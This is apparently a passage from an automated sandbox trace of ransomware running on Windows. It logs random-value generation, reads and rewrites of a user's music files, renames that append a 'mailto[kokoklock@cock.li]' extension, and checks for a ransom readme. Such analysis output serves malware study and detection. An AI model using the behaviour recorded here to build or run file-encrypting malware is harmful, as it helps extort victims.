returned 0x5c734000 [0170.250] RtlRandom (in: Seed=0x1206f790 | out: Seed=0x1206f790) returned 0x4716adef [0170.250] RtlRandom (in: Seed=0x1206f790 | out: Seed=0x1206f790) returned 0xe3464327 [0170.250] RtlRandom (in: Seed=0x1206f790 | out: Seed=0x1206f790) returned 0xcc572a12 [0170.250] RtlRandom (in: Seed=0x1206f790 | out: Seed=0x1206f790) returned 0xd03fe776 [0170.251] RtlRandom (in: Seed=0x1206f790 | out: Seed=0x1206f790) returned 0x36c56470 [0170.251] RtlRandom (in: Seed=0x1206f790 | out: Seed=0x1206f790) returned 0x7b553330 [0170.251] RtlRandom (in: Seed=0x1206f790 | out: Seed=0x1206f790) returned 0x7a24bb97 [0170.251] RtlRandom (in: Seed=0x1206f790 | out: Seed=0x1206f790) returned 0x989b786b [0170.251] RtlRandom (in: Seed=0x1206f790 | out: Seed=0x1206f790) returned 0xdb262f8b [0170.251] RtlRandom (in: Seed=0x1206f790 | out: Seed=0x1206f790) returned 0xff5c923a [0170.251] RtlRandom (in: Seed=0x1206f790 | out: Seed=0x1206f790) returned 0xa8b0f02d [0170.251] RtlRandom (in: Seed=0x1206f790 | out: Seed=0x1206f790) returned 0xa19f9026 [0170.251] RtlRandom (in: Seed=0x1206f790 | out: Seed=0x1206f790) returned 0x598208f3 [0170.251] RtlRandom (in: Seed=0x1206f790 | out: Seed=0x1206f790) returned 0x75c03ad8 [0170.251] RtlRandom (in: Seed=0x1206f790 | out: Seed=0x1206f790) returned 0x27d61237 [0170.251] RtlRandom (in: Seed=0x1206f790 | out: Seed=0x1206f790) returned 0xd44fd1c4 [0170.251] RtlRandom (in: Seed=0x1206f790 | out: Seed=0x1206f790) returned 0x890fe99e [0170.251] RtlRandom (in: Seed=0x1206f790 | out: Seed=0x1206f790) returned 0x4e75ef65 [0170.251] RtlRandom (in: Seed=0x1206f790 | out: Seed=0x1206f790) returned 0xe2e4fe2b [0170.251] RtlRandom (in: Seed=0x1206f790 | out: Seed=0x1206f790) returned 0xe3baaf90 [0170.251] RtlRandom (in: Seed=0x1206f790 | out: Seed=0x1206f790) returned 0x905163ba [0170.251] RtlRandom (in: Seed=0x1206f790 | out: Seed=0x1206f790) returned 0x3972733a [0170.251] RtlRandom (in: Seed=0x1206f790 | out: Seed=0x1206f790) returned 0xd120d8c8 [0170.251] RtlRandom (in: Seed=0x1206f790 | out: Seed=0x1206f790) returned 0x582f532e [0170.251] RtlRandom (in: Seed=0x1206f790 | out: Seed=0x1206f790) returned 0xff771f97 [0170.251] RtlRandom (in: Seed=0x1206f790 | out: Seed=0x1206f790) returned 0xaf1750eb [0170.261] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88728 [0170.264] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96e40 [0170.264] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88818 [0170.264] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96e40) returned 1 [0170.264] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f884a8) returned 1 [0170.264] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x304fb18 [0170.265] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.266] ReadFile (in: hFile=0x6d4, lpBuffer=0x304fb18, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1206f75c, lpOverlapped=0x0 | out: lpBuffer=0x304fb18*, lpNumberOfBytesRead=0x1206f75c*=0x4096, lpOverlapped=0x0) returned 1 [0170.266] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.266] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f877d0 [0170.266] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96c60 [0170.266] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f884a8 [0170.266] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f884a8) returned 1 [0170.266] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3053bb8 [0170.268] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f884a8 [0170.268] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f885c0 [0170.268] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f885c0) returned 1 [0170.268] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96c60) returned 1 [0170.268] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f877d0) returned 1 [0170.268] WriteFile (in: hFile=0x6d4, lpBuffer=0x3053bb8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1206f75c, lpOverlapped=0x0 | out: lpBuffer=0x3053bb8*, lpNumberOfBytesWritten=0x1206f75c*=0x4096, lpOverlapped=0x0) returned 1 [0170.268] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053bb8) returned 1 [0170.268] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x83ff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.268] WriteFile (in: hFile=0x6d4, lpBuffer=0x2f884a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1206f794, lpOverlapped=0x0 | out: lpBuffer=0x2f884a8*, lpNumberOfBytesWritten=0x1206f794*=0x20, lpOverlapped=0x0) returned 1 [0170.269] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f884a8) returned 1 [0170.269] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304fb18) returned 1 [0170.269] WriteFile (in: hFile=0x6d4, lpBuffer=0x2f88818*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1206f7a8, lpOverlapped=0x0 | out: lpBuffer=0x2f88818*, lpNumberOfBytesWritten=0x1206f7a8*=0x8, lpOverlapped=0x0) returned 1 [0170.269] WriteFile (in: hFile=0x6d4, lpBuffer=0x1206f7c0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1206f7a8, lpOverlapped=0x0 | out: lpBuffer=0x1206f7c0*, lpNumberOfBytesWritten=0x1206f7a8*=0x4, lpOverlapped=0x0) returned 1 [0170.269] WriteFile (in: hFile=0x6d4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1206f7a8, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x1206f7a8*=0x4, lpOverlapped=0x0) returned 1 [0170.269] WriteFile (in: hFile=0x6d4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1206f7a8, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x1206f7a8*=0x6c, lpOverlapped=0x0) returned 1 [0170.269] WriteFile (in: hFile=0x6d4, lpBuffer=0x2f883b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1206f7a8, lpOverlapped=0x0 | out: lpBuffer=0x2f883b8*, lpNumberOfBytesWritten=0x1206f7a8*=0x20, lpOverlapped=0x0) returned 1 [0170.269] WriteFile (in: hFile=0x6d4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1206f7a8, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x1206f7a8*=0x4, lpOverlapped=0x0) returned 1 [0170.269] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f883b8) returned 1 [0170.270] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88728) returned 1 [0170.270] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88818) returned 1 [0170.270] CloseHandle (hObject=0x6d4) returned 1 [0170.270] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xca) returned 0x2ff2450 [0170.270] wcscpy (in: _Dest=0x2ff2450, _Source="C:\\Users\\FD1HVy\\Music\\mpK K-JQ.wav.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\mpK K-JQ.wav.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\mpK K-JQ.wav.mailto[kokoklock@cock.li].d0e731" [0170.270] wcscat (in: _Dest=0x2ff2450, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\mpK K-JQ.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\mpK K-JQ.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0170.270] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\mpK K-JQ.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\mpk k-jq.wav.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\mpK K-JQ.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\mpk k-jq.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0170.271] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\mpK K-JQ.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.271] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff2450) returned 1 [0170.271] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\mpK K-JQ.wav.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.271] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x52) returned 0x2fa4960 [0170.271] wcscpy (in: _Dest=0x2fa4960, _Source="C:\\Users\\FD1HVy\\Music\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\") returned="C:\\Users\\FD1HVy\\Music\\" [0170.271] wcscat (in: _Dest=0x2fa4960, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\D0E731-Readme.txt" [0170.271] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\d0e731-readme.txt")) returned 0x20 [0170.272] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4960) returned 1 [0170.272] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f82748) returned 1 [0170.272] RtlExitUserThread (Status=0x1) Thread: id = 1893 os_tid = 0x5b4 [0170.273] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\PdAjG9sZ G.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\pdajg9sz g.mp3.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.273] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\PdAjG9sZ G.mp3.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.273] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\PdAjG9sZ G.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\pdajg9sz g.mp3.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0170.274] GetFileSizeEx (in: hFile=0x6d4, lpFileSize=0x120efb50 | out: lpFileSize=0x120efb50*=79743) returned 1 [0170.274] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x1377b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.274] ReadFile (in: hFile=0x6d4, lpBuffer=0x120efb24, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x120efb20, lpOverlapped=0x0 | out: lpBuffer=0x120efb24*, lpNumberOfBytesRead=0x120efb20*=0x4, lpOverlapped=0x0) returned 1 [0170.274] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.275] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88818 [0170.275] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f885c0 [0170.275] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88728 [0170.275] NtQuerySystemTime (in: CurrentTime=0x120efafc | out: CurrentTime=0x120efafc*=132121213275848898) returned 0x0 [0170.275] RtlRandom (in: Seed=0x120efb08 | out: Seed=0x120efb08) returned 0x5a8b106f [0170.275] RtlRandom (in: Seed=0x120efb08 | out: Seed=0x120efb08) returned 0xefb833ab [0170.275] RtlRandom (in: Seed=0x120efb08 | out: Seed=0x120efb08) returned 0xdd21ac8b [0170.275] RtlRandom (in: Seed=0x120efb08 | out: Seed=0x120efb08) returned 0xaacfa5c1 [0170.275] RtlRandom (in: Seed=0x120efb08 | out: Seed=0x120efb08) returned 0x62298ba6 [0170.275] RtlRandom (in: Seed=0x120efb08 | out: Seed=0x120efb08) returned 0xa6bbe098 [0170.275] RtlRandom (in: Seed=0x120efb08 | out: Seed=0x120efb08) returned 0x5b5dcf3f [0170.275] RtlRandom (in: Seed=0x120efb08 | out: Seed=0x120efb08) returned 0x4a05994c [0170.275] RtlRandom (in: Seed=0x120efb08 | out: Seed=0x120efb08) returned 0xbb4a2b91 [0170.275] RtlRandom (in: Seed=0x120efb08 | out: Seed=0x120efb08) returned 0x1a051ef5 [0170.275] RtlRandom (in: Seed=0x120efb08 | out: Seed=0x120efb08) returned 0x696e54a9 [0170.275] RtlRandom (in: Seed=0x120efb08 | out: Seed=0x120efb08) returned 0x7bc65403 [0170.275] RtlRandom (in: Seed=0x120efb08 | out: Seed=0x120efb08) returned 0xb6064855 [0170.275] RtlRandom (in: Seed=0x120efb08 | out: Seed=0x120efb08) returned 0xc906e6b5 [0170.275] RtlRandom (in: Seed=0x120efb08 | out: Seed=0x120efb08) returned 0x68523db3 [0170.275] RtlRandom (in: Seed=0x120efb08 | out: Seed=0x120efb08) returned 0x11b7d624 [0170.275] RtlRandom (in: Seed=0x120efb08 | out: Seed=0x120efb08) returned 0xed901f1a [0170.275] RtlRandom (in: Seed=0x120efb08 | out: Seed=0x120efb08) returned 0xf3e11e1d [0170.275] RtlRandom (in: Seed=0x120efb08 | out: Seed=0x120efb08) returned 0x9e5abed6 [0170.275] RtlRandom (in: Seed=0x120efb08 | out: Seed=0x120efb08) returned 0x1f5d2436 [0170.275] RtlRandom (in: Seed=0x120efb08 | out: Seed=0x120efb08) returned 0xc8de2ef3 [0170.275] RtlRandom (in: Seed=0x120efb08 | out: Seed=0x120efb08) returned 0x7323a079 [0170.275] RtlRandom (in: Seed=0x120efb08 | out: Seed=0x120efb08) returned 0x47699451 [0170.275] RtlRandom (in: Seed=0x120efb08 | out: Seed=0x120efb08) returned 0x708bef14 [0170.275] RtlRandom (in: Seed=0x120efb08 | out: Seed=0x120efb08) returned 0x573d17e6 [0170.275] RtlRandom (in: Seed=0x120efb08 | out: Seed=0x120efb08) returned 0xce96b873 [0170.275] RtlRandom (in: Seed=0x120efb08 | out: Seed=0x120efb08) returned 0xbba96125 [0170.275] RtlRandom (in: Seed=0x120efb08 | out: Seed=0x120efb08) returned 0x975148aa [0170.275] RtlRandom (in: Seed=0x120efb08 | out: Seed=0x120efb08) returned 0xf27e37c6 [0170.275] RtlRandom (in: Seed=0x120efb08 | out: Seed=0x120efb08) returned 0xc8a557dd [0170.276] RtlRandom (in: Seed=0x120efb08 | out: Seed=0x120efb08) returned 0x8603a0bb [0170.276] RtlRandom (in: Seed=0x120efb08 | out: Seed=0x120efb08) returned 0xd8b96e05 [0170.285] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f883b8 [0170.287] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96e40 [0170.287] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f884a8 [0170.287] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96e40) returned 1 [0170.287] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88818) returned 1 [0170.287] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x304fb18 [0170.287] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.287] ReadFile (in: hFile=0x6d4, lpBuffer=0x304fb18, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x120efad4, lpOverlapped=0x0 | out: lpBuffer=0x304fb18*, lpNumberOfBytesRead=0x120efad4*=0x4096, lpOverlapped=0x0) returned 1 [0170.287] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.287] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f877d0 [0170.287] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96c60 [0170.287] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88818 [0170.287] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88818) returned 1 [0170.288] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3053bb8 [0170.288] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88818 [0170.288] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab550 [0170.288] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab550) returned 1 [0170.288] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96c60) returned 1 [0170.288] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f877d0) returned 1 [0170.288] WriteFile (in: hFile=0x6d4, lpBuffer=0x3053bb8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x120efad4, lpOverlapped=0x0 | out: lpBuffer=0x3053bb8*, lpNumberOfBytesWritten=0x120efad4*=0x4096, lpOverlapped=0x0) returned 1 [0170.288] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053bb8) returned 1 [0170.288] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x1377f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.288] WriteFile (in: hFile=0x6d4, lpBuffer=0x2f88818*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x120efb0c, lpOverlapped=0x0 | out: lpBuffer=0x2f88818*, lpNumberOfBytesWritten=0x120efb0c*=0x20, lpOverlapped=0x0) returned 1 [0170.289] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88818) returned 1 [0170.289] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304fb18) returned 1 [0170.289] WriteFile (in: hFile=0x6d4, lpBuffer=0x2f884a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x120efb20, lpOverlapped=0x0 | out: lpBuffer=0x2f884a8*, lpNumberOfBytesWritten=0x120efb20*=0x8, lpOverlapped=0x0) returned 1 [0170.289] WriteFile (in: hFile=0x6d4, lpBuffer=0x120efb38*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x120efb20, lpOverlapped=0x0 | out: lpBuffer=0x120efb38*, lpNumberOfBytesWritten=0x120efb20*=0x4, lpOverlapped=0x0) returned 1 [0170.289] WriteFile (in: hFile=0x6d4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x120efb20, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x120efb20*=0x4, lpOverlapped=0x0) returned 1 [0170.290] WriteFile (in: hFile=0x6d4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x120efb20, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x120efb20*=0x6c, lpOverlapped=0x0) returned 1 [0170.290] WriteFile (in: hFile=0x6d4, lpBuffer=0x2f885c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x120efb20, lpOverlapped=0x0 | out: lpBuffer=0x2f885c0*, lpNumberOfBytesWritten=0x120efb20*=0x20, lpOverlapped=0x0) returned 1 [0170.290] WriteFile (in: hFile=0x6d4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x120efb20, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x120efb20*=0x4, lpOverlapped=0x0) returned 1 [0170.290] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f885c0) returned 1 [0170.290] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f883b8) returned 1 [0170.290] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f884a8) returned 1 [0170.290] CloseHandle (hObject=0x6d4) returned 1 [0170.290] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xce) returned 0x2ff2450 [0170.290] wcscpy (in: _Dest=0x2ff2450, _Source="C:\\Users\\FD1HVy\\Music\\PdAjG9sZ G.mp3.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\PdAjG9sZ G.mp3.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\PdAjG9sZ G.mp3.mailto[kokoklock@cock.li].d0e731" [0170.290] wcscat (in: _Dest=0x2ff2450, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\PdAjG9sZ G.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\PdAjG9sZ G.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0170.290] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\PdAjG9sZ G.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\pdajg9sz g.mp3.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\PdAjG9sZ G.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\pdajg9sz g.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0170.291] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\PdAjG9sZ G.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.291] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff2450) returned 1 [0170.291] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\PdAjG9sZ G.mp3.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.291] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x52) returned 0x2fa4960 [0170.291] wcscpy (in: _Dest=0x2fa4960, _Source="C:\\Users\\FD1HVy\\Music\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\") returned="C:\\Users\\FD1HVy\\Music\\" [0170.291] wcscat (in: _Dest=0x2fa4960, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\D0E731-Readme.txt" [0170.291] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\d0e731-readme.txt")) returned 0x20 [0170.291] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4960) returned 1 [0170.292] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe5728) returned 1 [0170.292] RtlExitUserThread (Status=0x1) Thread: id = 1894 os_tid = 0x368 [0170.293] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3a) returned 0x2f876f8 [0170.293] wcscpy (in: _Dest=0x2f876f8, _Source="C:\\Users\\FD1HVy\\Music\\RKFI" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI") returned="C:\\Users\\FD1HVy\\Music\\RKFI" [0170.293] wcscat (in: _Dest=0x2f876f8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\" [0170.293] wcscat (in: _Dest=0x2f876f8, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\*") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\*" [0170.293] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x30230c0 [0170.293] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\*", lpFindFileData=0x30230c0 | out: lpFindFileData=0x30230c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b34f100, ftCreationTime.dwHighDateTime=0x1d4ce10, ftLastAccessTime.dwLowDateTime=0x84aef506, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x84aef506, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045aa8 [0170.295] wcscmp (_String1=".", _String2=".") returned 0 [0170.295] FindNextFileW (in: hFindFile=0x3045aa8, lpFindFileData=0x30230c0 | out: lpFindFileData=0x30230c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b34f100, ftCreationTime.dwHighDateTime=0x1d4ce10, ftLastAccessTime.dwLowDateTime=0x84aef506, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x84aef506, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.295] wcscmp (_String1="..", _String2=".") returned 1 [0170.295] wcscmp (_String1="..", _String2="..") returned 0 [0170.295] FindNextFileW (in: hFindFile=0x3045aa8, lpFindFileData=0x30230c0 | out: lpFindFileData=0x30230c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d87e7c0, ftCreationTime.dwHighDateTime=0x1d4d2d6, ftLastAccessTime.dwLowDateTime=0x86c1a72d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x86c1a72d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="7xPr", cAlternateFileName="")) returned 1 [0170.295] wcscmp (_String1="7xPr", _String2=".") returned 1 [0170.295] wcscmp (_String1="7xPr", _String2="..") returned 1 [0170.295] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87230 [0170.295] wcscpy (in: _Dest=0x2f87230, _Source="C:\\Users\\FD1HVy\\Music\\RKFI" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI") returned="C:\\Users\\FD1HVy\\Music\\RKFI" [0170.295] wcscat (in: _Dest=0x2f87230, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\" [0170.295] wcscat (in: _Dest=0x2f87230, _Source="7xPr" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr") 